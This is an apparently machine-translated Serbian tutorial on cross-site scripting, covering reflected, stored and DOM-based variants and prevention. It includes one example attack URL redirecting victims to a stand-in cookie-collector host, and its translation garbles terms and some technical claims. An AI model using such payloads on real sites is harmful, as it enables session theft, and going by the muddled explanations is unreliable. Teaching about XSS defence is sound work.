Цросс-сите скриптирање или КССС могу бити моћан и брз напад. Као програмер, можда ћете то узети као грешку у свом коду и на крају потражити грешке којих нема.
Као клијент који користи рањиву веб локацију, такође можете невино открити виталне информације о свом приступу за потврду идентитета нападачу.
Па шта је скриптирање на више локација? Како хакери могу да га користе да би провалили на веб локацију и украли ваше податке? И како можете умањити такав ризик?
Шта је скриптирање на више локација?
Скриптирање на више локација или КССС се дешава ако скрипта са злонамерне веб локације комуницира са кодом на рањивом.
Али сервери су ожичени на начин који спречава људе без потврде идентитета да приступају и уређују изворни код ваше веб локације.
Интернет користи исте смернице порекла (СОП) за блокирање интеракција на више локација. Међутим, СОП проверава три главне сигурносне рупе и покушава да их ублажи. Су:
- Политика Интернет протокола која проверава да ли обе веб локације испоручују садржај на безбедном ССЛ (ХТТПС) или несигурном УРЛ-у (ХТТП).
- Исте смернице веб хоста, које осигуравају да хостујете обе веб локације на истом домену.
- Смерница порта која проверава да ли обе веб странице користе сличне крајње тачке комуникације.
СОП држи да ако се било која од ових смерница разликује за било које две веб локације, не може читати нити размењивати податке путем Интернета.
Али ЈаваСцрипт је манипулативни језик који одређује одзив веб странице. Иако је ЈаваСцрипт ваше веб странице највероватније у посебној датотеци, такође можете да креирате ознаку скрипте и запишете је у свој објектни модел документа (ДОМ).
Дакле, КССС нападач би могао помислити: „ако можете да напишете ЈаваСцрипт у ДОМ, на крају га можете извршити у било који уређивач кода или поље за унос које прихвата ХТМЛ ознаке. "
Таква рањивост и шанса је оно на шта нападач који користи КССС пази на циљној веб локацији. Једном када пронађу такву рупу, могу заобићи СОП.
Повезан: Тхе Ултимате ЈаваСцрипт Цхеат Схеет
КССС је, дакле, напад који отмичари користе за убризгавање скрипте која изводи злонамерне радње у рањиву веб локацију. Скрипта може циљати незаштићене обрасце или поља за унос која прихватају податке.
Како скриптирање на више локација функционише и типови, са примерима
КССС може бити брзо извршавање рефлектоване или привремене скрипте коју нападач поставља у обрасце попут поља за претрагу. Такође може бити мучно или трајно убризгано у базу података. Или може пасивно доћи након учитавања странице.
У неким случајевима, ова скрипта такође може да промени изворни унос жртве да би преусмерио њену намеру. Оваква стална промена корисникових уноса мутира КССС.
У било ком облику, циљ КССС напада је крађа података жртве путем изложених колачића и евиденција.
Погледајмо кратко објашњење сваког од ових КССС типова напада и њихове примере да бисмо разумели шта су.
Шта је рефлектовани КССС?
Одражени или привремени КССС је директно убризгавање ЈаваСцрипт-а у поље за унос корисника. Циља захтеве који из базе података добијају податке, попут резултата претраживања. Али то је напад један-клијент-мета.
Током рефлектованог КССС-а, нападач убацује скрипту у термин за претрагу циљне жртве. Такав ЈаваСцрипт може бити одјек, преусмеравање или сакупљач колачића.
Скрипта убризгана у поље за унос претраге затим се извршава чим циљни клијент пошаље свој упит.
На пример, током корисничке претраге нападач може уметнути ЈаваСцрипт који одзвања обрасцем, тражећи да жртва унесе лозинку или корисничко име. Једном када корисник то учини, можда ће на крају несвесно предати своје акредитиве нападачу, мислећи да је то захтев оригиналне веб локације.
Понекад нападач такође може да користи скрипту за преусмеравање корисника са осетљиве странице на његову страницу. На страници нападача, несумњиви корисник тада може бити преварен да је послао неколико образаца, што доводи до цурења акредитива.
Слично томе, ако је циљ украсти корисникову сесију, нападач убризга скрипту за прикупљање колачића у корисников термин за претрагу. Затим отму тренутну сесију корисника, украду релевантне информације и преузму активности жртве.
Пример КССС напада у наставку краде корисников колачић путем ГЕТ захтева:
http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")
У примеру КССС горе, нападач проналази рупу на осетљивој веб локацији. Дакле, када корисник тражи недоступни ресурс на осетљивој веб локацији, преусмерава га на страницу нападача. Затим нападач куца колачић тренутног корисника и хвата њихову сесију.
Међутим, ова рањивост је честа када се радња упита за веб локацију не филтрира ради провере убризгавања скрипти кроз ХТМЛ.
Али чак и ако постоји филтрирани упит, нападач то може заобићи прибегавајући очајним мерама попут слања веза до могућих корисника веб странице у стварном времену. То могу учинити користећи било који облик социјалног инжењеринга њима на располагању.
Повезан: Шта урадити након пада на пхисхинг напад
Једном када жртве кликну на такву везу, отмичар сада може успешно да изврши КССС напад и украде релевантне податке од жртве.
Стално или ускладиштено скриптирање на више локација
Спремљени КССС представља више претњи. У овом случају, нападач складишти скрипту у бази података веб локације, што покреће упорно извршавање сачуване скрипте. Спремљени код може се покретати при учитавању странице или након учитавања странице.
За разлику од привременог облика КССС-а, ускладиштени КССС циља целокупну базу корисника осетљиве веб локације. Поред тога, циља и интегритет погођене веб локације.
Током трајног КССС-а, нападач користи поља за унос као што су обрасци за коментаре да би скрипту објавио у бази података веб локације.
Али шта ако ПОСТ поља заштитите ЦСРФ токенима? Нажалост, ускладиштено скриптирање на више локација заобилази провере ЦСРФ-а.
То је зато што нападач преда образац као и сваки други корисник веб странице. Дакле, такав образац за коментаре шаље скрипту у базу података као и све остале коментаре.
Такав напад се може догодити када поља за унос на веб локацији не користе одговарајуће средства за дезинфекцију за избегавање скрипти и ХТМЛ ознака.
Замислите да корисник поставља скрипту испод користећи образац за веб коментаре:
Када нападач убаци такав код у базу података веб локације, он непрекидно преусмерава жртву на веб локацију нападача при учитавању странице. Скрипта такође може бити упозорење, интерактивни модални оквир или уграђени злонамерни оглас.
Будући да скрипта преусмерава при учитавању странице, жртва која није упозната са осетљивом веб локацијом можда неће приметити преусмеравање.
Затим настављају интеракцију са веб страном нападача. Међутим, отмичар тада може на неколико начина да добије информације од жртава када се нађу на њиховој веб страници.
Шта је ДОМ или пасивни КССС?
ДОМ-заснован КССС извршава злонамерни код уграђен у веб локацију, приморавајући цео ДОМ на страни клијента да се понаша необично.
Док се КССС чува и одражава циљано на серверу на веб локацији, ДОМ КССС циља радне активности. Функционише уметањем скрипте у компоненту веб локације која извршава одређени задатак. Та компонента не извршава радњу на серверу.
Међутим, скрипта уметнута у такву компоненту у потпуности мења њену намеру. Ако ова компонента изврши задатак повезан са ДОМ-ом, попут оних који мењају елементе веб локације, скрипта може присилити целу веб страницу да се промени.
У горим случајевима, КССС заснован на ДОМ-у може имитирати грешку. То је зато што веб страница постаје необично реактивна.
Како спречити напад скриптирања на више локација
КССС рањивост долази од неправилне употребе најбољих позадинских пракси. Дакле, спречавање напада скриптирања на више локација обично је одговорност програмера. Али корисници такође имају своју улогу.
Коришћење ЦСФР токена за поља уноса не делује као решење за КССС нападе. А будући да овај напад такође заобилази Политику истог порекла, програмери морају бити опрезни да не изостављају безбедносне праксе које спречавају КССС.
Следеће превентивне мере су корисне за програмере.
Санитизирајте поља за унос
Да бисте спречили и ускладиштени и привремени КССС, требало би да користите ефикасна средства за дезинфекцију за поља уноса. Санитизирање упита за претрагу, на пример, спречава убацивање ознака у корисничке појмове за претрагу.
Користите Уницоде и ХТМЛ Ауто Есцапе
Корисно је користити ХТМЛ и Уницоде аутоматско бежање како бисте спречили поља за унос попут образаца за коментаре и конверзије да прихватају скрипте и ХТМЛ ознаке. Аутоматско бекство је снажна превентивна мера против ускладиштеног или постојаног КССС-а.
Дозволити корисницима да убаце ознаке у обрасце за коментаре је лоша идеја за било коју веб локацију. То је нарушавање безбедности. Међутим, ако то морате да дозволите, требало би да прихватите само ознаке које не представљају КССС претње.
Користите одговарајућу проверу улазних података
Чак и ако у потпуности блокирате ознаке, нападач и даље може да изврши КССС напад путем друштвених средстава. Они могу да шаљу е-пошту уместо да било шта поставе директно на рањиву веб локацију.
Дакле, други метод спречавања је ефикасна валидација улазних података. Такве мере укључују потврђивање протокола и осигуравање да ваша веб локација прихвата само уносе са сигурног ХТТПС-а, а не и ХТТП-а.
Коришћење наменских ЈаваСцрипт библиотека као што је домпурифи такође може помоћи у блокирању провале безбедности повезане са КССС.
Можете користити алате попут КССС скенер или ГЕЕКФЛАРЕ да бисте проверили да ли постоји КССС рањивост на вашој веб локацији.
Како корисници могу да спрече КССС
Данас на интернету постоје милиони веб локација. Тако да тешко можете рећи који од њих има КССС сигурносне проблеме.
Међутим, као корисник треба да се побрините да сте упознати са било којом веб услугом пре него што је употребите. Ако веб страница изненада постане језива или се почне понашати необично, то може бити црвена заставица.
Без обзира на случај, будите опрезни и не откривајте личне податке неповереном трећем лицу. Тада будите у потрази за нежељеном е-поштом или сумњивим објавама на друштвеним мрежама које могу резултирати било којим облик пхисхинг напада.
Ниједна превентивна метода не одговара свима
Видели смо како изгледа КССС напад и како га спречити. Лако је заборавити КССС безбедносне провере током развоја. Стога програмери треба да предузму кораке како би осигурали да заштита не буде изостављена. Међутим, комбинација превентивних мера које смо раније навели делује боље.
Да би спречили губитак готовине и акредитива у ЦСРФ нападима, програмери и корисници морају да играју улогу.
- Сигурност
- ЈаваСцрипт
- Сигурност прегледача
Идову је заљубљен у све паметне технологије и продуктивност. У слободно време игра се са кодирањем и пребацује се на шаховску таблу кад му је досадно, али такође воли да се повремено отргне од рутине. Његова страст да људима покаже пут око модерне технологије мотивише га да пише више.
Претплатите се на наш билтен
Придружите се нашем билтену за техничке савете, прегледе, бесплатне е-књиге и ексклузивне понуде!
Још један корак…!
Потврдите своју адресу е-поште у е-поруци коју смо вам управо послали.